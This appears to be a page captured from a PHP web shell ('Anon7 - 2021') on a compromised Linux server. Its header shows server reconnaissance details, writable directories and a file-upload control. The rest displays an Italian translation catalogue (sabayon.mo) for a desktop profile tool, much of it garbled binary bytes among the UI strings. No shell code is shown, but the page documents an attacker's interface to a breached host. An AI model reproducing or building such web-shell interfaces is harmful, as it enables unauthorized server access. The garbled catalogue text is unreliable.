KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.17
System : Linux localhost 2.6.18-419.el5 #1 SMP Fri Feb 24 22:47:42 UTC 2017 x86_64
User : nobody ( 99)
PHP Version : 5.2.17
Disable Function : NONE
Directory :  /usr/share/locale/it/LC_MESSAGES/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/locale/it/LC_MESSAGES/sabayon.mo
8So	

bIi#!"	 ,M!_XR-$C(h-
;Rl
*;Pfm1%#19k.%!*88c&
"4 W"x!!4
<GJI$0@
Y	gq"%$$$D i $ )JPa
t
0/@V,!&.U
gu93DdxPLK  	         	 !
!!!"!)!1!/9!i!o!!w!!/!!!!"
""n'"#!# ##!$"$!:$ \$}$!$$$$$%&%7%(%'%%&(9&(b&'&%&(&'='R'x'K(6f(:((('
)2)Q)a):m))&))*%*C*Y*-n*#* ***%+#?+c+"l+++"+J+,,-A,o,?,#,?,)(-#R-*v-)-1-B-/@.p......&.0.-'//U///0/0/103I0}00N0Q0C1J1-[1111111
2*2+92*e2#2-2)2/3(<3(e35334323014*b444444
445 595:V5 5555:66,67(7;7X7	h7r77'7;778(%8N8$h888888o8Nj9
99999	9	9:::/:7:	@:J:P:W:_:h:2q:::)::3:;9;.@;o;v;'~;M-[KJOk0dCr,#Tq;{$`"Uy'+Eeu|F/@aWP	Bc< 7L8b:_X&=.~NQ
wA]%Gx6s}>4z\1njZo^I(?htS
D)liR*mHf9g5YV2p3v!%s (%s)%s added to bottom panel%s added to left panel%s added to right panel%s added to top panel%s launcher%s removed from bottom panel%s removed from left panel%s removed from right panel%s removed from top panel<b>Disabled Applets</b><b>Safe Protocols</b><no type><no value>About SabayonAdd ProfileAdministrator level permissions are needed to run this program because it can modify system files.Applet %s added to bottom panelApplet %s added to left panelApplet %s added to right panelApplet %s added to top panelApplet %s removed from bottom panelApplet %s removed from left panelApplet %s removed from right panelApplet %s removed from top panelApplications menuCannot add non-existent file '%s'Cannot find home directory: not set in /etc/passwd and no value for $HOME in environmentCannot find username: not set in /etc/passwd and no value for $USER in environmentChanges in profile %sClick to make this setting mandatoryClick to make this setting not mandatoryClose _Without SavingClose the current windowCould not open %s for writingDefault GConf settingsDelete itemDescriptionDesktop User Profiles tool is already runningDisable _arbitrary URLDisable _bookmark editingDisable _command lineDisable _historyDisable _javascript chromeDisable _printingDisable _quitDisable _toolbar editingDisable _unsafe protocolsDisable force _quitDisable lock _screenDisable log _outDisable print _setupDisable save to _diskDrawerEdit Lockdown settingsEdit changesEditing profile %sEnforce MandatoryEnforce mandatory settings in the editing sessionEpiphany Web BrowserEstablish and Edit Profiles for UsersExpected event: %s %sFailed to add default profile %s to configurationFailed to add monitor for %sFailed to add user %s to profile configurationFailed to get the user listFailed to read file '%s': %sFailed to read metadata from '%s': %sFailed to save UserDatabase to %sFailed to start Xnest: died during startupFailed to start Xnest: timed out waiting for USR1 signalFile %s is not a profile configurationFile '%s' changedFile '%s' createdFile '%s' deletedFile Not Found (%s)FilesGConfGConf key '%s' set to '%s'GConf key '%s' set to boolean '%s'GConf key '%s' set to float '%s'GConf key '%s' set to integer '%s'GConf key '%s' set to list '%s'GConf key '%s' set to pair '%s'GConf key '%s' set to schema '%s'GConf key '%s' set to string '%s'GConf key '%s' unsetGeneralHide _menubarIf you don't save, changes from the last hour will be permanently lost.If you don't save, changes from the last minute will be permanently lost.IgnoreIgnore WARNINGsInvalid metadata section in '%s': %sLockLock Screen buttonLockdown EditorLockdown settings for %sLogout buttonMain MenuMandatory GConf settingsMenu BarMozilla bookmark changed '%s' '%s'Mozilla bookmark created '%s' -> '%s'Mozilla bookmark deleted '%s'Mozilla bookmark folder changed '%s'Mozilla bookmark folder created '%s'Mozilla bookmark folder deleted '%s'Mozilla key '%s' changed to '%s'Mozilla key '%s' set to '%s'Mozilla key '%s' unsetNameNo profile for user '%s' found
No query filter specified for %sNo result attribute specified for %sNo search based specified for %sPanelPanel '%s' addedPanel '%s' removedPanel FilePreferences menuProfile %sProfile _name:Profile file: %sProfile is read-only %sProfile settings: %sProgram to establish and edit profiles for usersRun Appliction buttonRunning %s testsRunning %s tests (%s)Sabayon requires a special user account '%s' to be present on this computer. Try again after creating the account (using, for example, the 'adduser' command)Save changes to profile "%s" before closing?Save profileScope must be one of sub, base and oneScreenshot buttonSearch buttonServer Settings menuStart Here menuSuccess!System Settings menuTypeUnable to find a free X displayUsage: %s <profile-name> <profile-path> <display-number>
Usage: %s [<profile-name>]
Use This ProfileUse this profile for _all usersUser Profile EditorUser account '%s' was not foundUsers for profile %sValueWeb browser bookmarksWeb browser preferencesWeb browser profile listYou may not use Desktop User Profiles tool from within a profile editing sessionYour account does not have permissions to run the Desktop User Profiles tool_About_Base on:_Changes_Close_Delete_Details_Edit_Fullscreen_Help_Lock down the panels_Lockdown_Profile_Profiles:_Quit_Save_Users_Users:booleanduplicate name(%(name)s) in section %(section)sfloatintegerinvalid type for setting %s in %slistmultiple_result must be one of first and randomno default profilepairredundant default in section %sschemastringtranslator-creditsProject-Id-Version: sabayon
Report-Msgid-Bugs-To: 
POT-Creation-Date: 2007-04-02 22:32+0200
PO-Revision-Date: 2007-03-15 18:40+0100
Last-Translator: Alessio Dessì <alessio.dessi@gmail.com>
Language-Team: Italian <tp@lists.linux.it>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Plural-Forms: nplurals=2; plural=(n != 1);
%s (%s)%s aggiunta al pannello inferiore%s aggiunta al pannello sinistro%s aggiunta al pannello destro%s aggiunta al pannello superioreelemento per avviare %s%s rimossa dal pannello inferiore%s rimossa dal pannello sinistro%s rimossa dal pannello destro%s rimossa dal pannello superiore<b>Applet disabilitate</b><b>Protocolli sicuri</b><senza tipo><senza valore>Informazioni su SabayonAggiungi profiloÈ necessario avere i permessi di amministratore per eseguire questo programma poiché con esso è possibile modificare i file di sistema.Applet %s aggiunta al pannello inferioreApplet %s aggiunta al pannello sinistroApplet %s aggiunta al pannello destroApplet %s aggiunta al pannello superioreApplet %s rimossa dal pannello inferioreApplet %s rimossa dal pannello sinistroApplet %s rimossa dal pannello destroApplet %s rimossa dal pannello superioreMenu ApplicazioniNon è possibile aggiungere il file «%s» perché non esisteNon è possibile trovare la directory «home»: non impostata in /etc/passwd e nessun valore per la variabile di ambiente $HOMENon è possibile trovare il nome utente: non impostato in /etc/passwd e nessun valore per la variabile di ambiente $USERCambiamenti nel profilo %sFare clic per rendere questa impostazione obbligatoriaFare clic per rendere questa impostazione non obbligatoriaChiudi sen_za salvareChiude la finestra correnteNon è possibile aprire %s in scritturaImpostazioni GConf predefiniteElimina la voceDescrizioneLo strumento Gestione profili utente è già in esecuzioneDisabilita l'URL _arbitrariaDisabilita la modifica dei se_gnalibriDisabilita la riga di _comandoDisabilita la cr_onologiaDisabilita _javascript chromeDisabilita la stam_paDisabilita l'_uscitaDisabilita la modifica della _barra strumentiDisabilita i protocolli _non sicuriDisabilità la chiusura for_zataDisabilita blocca _schermoDisabilita te_rmina sessioneDisabilita le impo_stazioni di stampaDisabilita il salvataggio su _discoCassettoModifica le impostazioni di bloccoModifica i cambiamentiModifica del profilo %sRispetto impostazioni obbligatorieFa rispettare le impostazioni obbligatorie durante la sessione di modificaBrowser Web EpiphanyDefinisce e modifica i profili per gli utentiEvento atteso: %s %sAggiunta del profilo predefinito %s alla configurazione fallitaAggiunta del monitor per %s fallitaAggiunta dell'utente %s alla configurazione del profilo fallitaRecupero dell'elenco degli utenti fallitoLettura del file «%s» fallita: %sLettura dei metadati da «%s» fallita: %sSalvataggio di UserDataBase in %s fallitoAvvio di Xnest fallito: terminato durante l'avvioAvvio di Xnest fallito: tempo scaduto nell'attesa del segnale USR1Il file %s non è una configurazione di profiloFile «%s» cambiatoFile «%s» creatoFile «%s» eliminatoFile non trovato (%s)FileGConfChiave GConf «%s» impostata a «%s»Chiave GConf «%s» impostata al booleano «%s»Chiave GConf «%s» impostata al float «%s»Chiave GConf «%s» impostata all'intero «%s»Chiave GConf «%s» impostata alla lista «%s»Chiave GConf «%s» impostata alla coppia «%s»Chiave GConf «%s» impostata allo schema «%s»Chiave GConf «%s» impostata alla stringa «%s»Chiave GConf «%s» impostata al valore predefinitoGeneraleNascondi la barra dei _menuSe non si salva, i cambiamenti dell'ultima ora verranno persi definitivamente.Se non si salva, i cambiamenti dell'ultimo minuto verranno definitivamente persi.IgnoraIgnora i WARNINGSezione dei metadati non valida in «%s»: %sBloccaPulsante «Blocca schermo»Editor dei blocchiImpostazioni di blocco per %sPulsante «Chiudi sessione»Menu principaleImpostazioni GConf obbligatorieBarra del menuModificato segnalibro Mozilla «%s» «%s»Creato segnalibro Mozilla «%s» -> «%s»Eliminato segnalibro Mozilla «%s»Modificata cartella segnalibro Mozilla «%s»Creata cartella segnalibro Mozilla «%s»Eliminata la cartella segnalibro Mozilla «%s»Chiave Mozilla «%s» cambiata in «%s»Chiave Mozilla «%s» impostata a «%s»Chiave Mozilla «%s» impostata al valore predefinitoNomeIl profilo per l'utente «%s» non è stato trovato
Nessun filtro di interrogazione specificato per %sNessun attributo di risultato specificato per %sNessuna base di ricerca specificata per %sPannelloAggiunto pannello «%s»Rimosso pannello «%s»File del pannelloMenu PreferenzeProfilo %s_Nome profilo:File del profilo: %sIl profilo è in sola lettura %sImpostazioni del profilo: %sProgramma per definire e modificare i profili degli utentiPulsante «Esegui applicazione»Esecuzione di %s testEsecuzione %s test (%s)Per poter usare Sabayon è necessario che sul computer in uso esista l'utente speciale «%s». Riprovare dopo aver creato l'utente (utilizzare, ad esempio, il comando "adduser")Salvare i cambiamenti al profilo «%s» prima di chiudere?Salva il profiloL'ambito deve essere uno tra sub, base e onePulsante «Cattura schermo»Pulsante «Cerca»Menu Impostazioni del serverMenu «Inizio»Riuscito!Menu Impostazioni di sistemaTipoImpossibile trovare un display X liberoUso: %s <nome-profilo> <percorso-profilo> <numero-display>
Uso: %s [<nome-profilo>]
Usa questo profiloUsa questo profilo per _tutti gli utentiEditor dei profili utenteL'utente «%s» non è stato trovatoUtenti per il profilo %sValoreSegnalibri Browser WebPreferenze Browser WebElenco profili del Browser WebNon è possibile usare lo strumento Gestione profili utente all'interno di una sessione di modifica del profiloPermessi non sufficienti per eseguire lo strumento «Gestione profili utente»I_nformazioni_Basato su:Cam_biamenti_ChiudiEli_mina_Dettagli_ModificaSc_hermo interoA_iutoB_locca i pannelli_Blocca_Profilo_Profili:_Esci_Salva_Utenti_Utenti:booleanonome(%(name)s) duplicato nella sezione %(section)svirgola mobileinterotipo non valido per il parametro %s in %slistamultiple_result deve essere un numero primo casualenessun profilo predefinitocoppiavalore predefinito ridondante nella sezione %sschemastringaAlessio Dessì<alessio.dessi@gmail.com>

Anon7 - 2021